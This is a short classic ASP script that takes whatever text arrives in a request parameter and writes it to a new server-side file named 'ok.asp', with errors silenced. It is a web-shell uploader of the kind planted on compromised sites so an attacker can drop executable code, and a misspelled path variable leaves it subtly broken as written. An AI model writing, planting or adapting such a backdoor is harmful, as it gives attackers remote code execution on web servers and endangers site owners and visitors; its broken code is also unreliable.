<% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% fdata = request("cyfddata") %> <% if fdata<>"" then %> <% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"/ok.asp"%> <% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %> <% objCountFile.Write fdata %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %>